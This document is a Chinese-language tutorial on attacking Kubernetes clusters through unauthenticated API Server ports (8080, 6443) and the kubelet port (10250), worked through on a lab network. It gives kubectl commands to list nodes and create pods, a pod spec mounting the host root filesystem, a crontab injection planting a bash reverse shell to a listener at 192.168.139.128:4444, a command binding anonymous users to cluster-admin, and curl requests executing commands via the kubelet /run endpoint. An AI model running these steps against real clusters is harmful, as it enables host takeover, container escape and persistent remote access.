云安全-云原生k8s攻击点（8080，6443，10250未授权攻击点）

0x00 k8s简介

k8s（Kubernetes） 是容器管理平台，用来管理容器化的应用，提供快速的容器调度、弹性伸缩等诸多功能，可以理解为容器云，不涉及到业务层面的开发。只要你的应用可以实现容器化，就可以部署在k8s 上，通过k8s对应用负载进行调度，配合hpa (Horizontal PodAutoscaling) 可以实现应用负载的弹性伸缩从而解决高并发量的问题。

简单说就是：管理多台主机上的容器应用，是一个集群管理（Master节点）

以往的攻击点思路通常：
外网信息收集打点，漏洞攻击，获取权限，提权内网横向…
云上攻防思路：

1. 控制云平台管理系统，达到控制所有云主机目的
2. 通过容器环境提权逃逸，获取宿主机权限后利用k8s云架构横向云服务
3. 利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台

k8s的十二个攻击点以及部署图：

参考千里目实验室文章：
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
1
2
3

如下可以看到主控制节点master，以及Node1节点，Node2节点， 其中Node中存在pod，理解为对应的容器启动的业务应用。

0x01 如何判断对象是否为k8s？

端口判断：在Master，Note节点上有明显的端口特征如6443的api server服务 。
k8s新旧版本的区别：

旧版本会开启6443和8080端口，8080不需要验证，6443是TLS加密，老版本k8s<=1.16.0，而新版只会开启6443
因为安装新的或者旧k8s是根据业务主机工作性质去配置，所以不一定是全是需要新版，所以会导致一些问题。

实验环境：
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
下面poc采用小迪笔记
1
2
3
4
5

0x02 8080端口：API Server未授权访问

攻击master节点的8080，默认为旧版本k8s xshell连接master
访问8080不带s发现api接口，消去配置文件的8080，改为0，重启服务，无法打开
利用官方客户端工具：安装kubectl（管理k8s的命令行工具） kubectl get pods 判断pods个数（容器个数）
kubectl get nodes 判断主机数量 windows命令-s连接获取nodes
再获取pods，创建文件，创建添加一个pods，利用文件执行命令，（连接未授权的地址端口）在docker中创建连接shell，拿到容器的docker的shell，再通过计划任务反弹shell（因为创建的容器挂载在宿主机的mnt目录，通过反弹也是通过mnt反弹）
开kali监听端口接受到shell， 因为是再node中创建的，所以cron计划任务也在node1中才可以看到

新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
1
2
3
4
5
6
7
8
9
10

0x03 6443端口：API Server未授权访问

攻击点2master节点上：6443端口，错误的配置允许匿名用户通过管理员权限下发任务 确定有未授权：访问6443 泄露api接口
通过postman发送包，创建新的pods为test3，连接创建的pods，再反弹shell跟上面一致

一些集群由于鉴权配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

-创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST：{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
再去反弹shell
1
2
3
4
5
6
7
8
9
10
11

0x04 10250端口：kubelet未授权访问

攻击点3Node节点上：kubelet未授权访问 判断是否存在未授权：直接访问第二台node2的10250端口 xshell连接node2，
查看config.yaml文件，enabled为true，mode为AlwaysALLow（配置这两个会导致问题）
攻击132node2主机执行命令 替换三个数值，直接执行回显命令

https://192.168.139.130:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

-利用执行命令这里需要三个参数
namespace  default
pod  test03
container test03
-访问获取：
https://192.168.139.132:10250/runningpods/
-执行模版：
curl -XPOST -k "https://192.168.139.132:10250/run///" -d "cmd=id"
-构造触发：
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17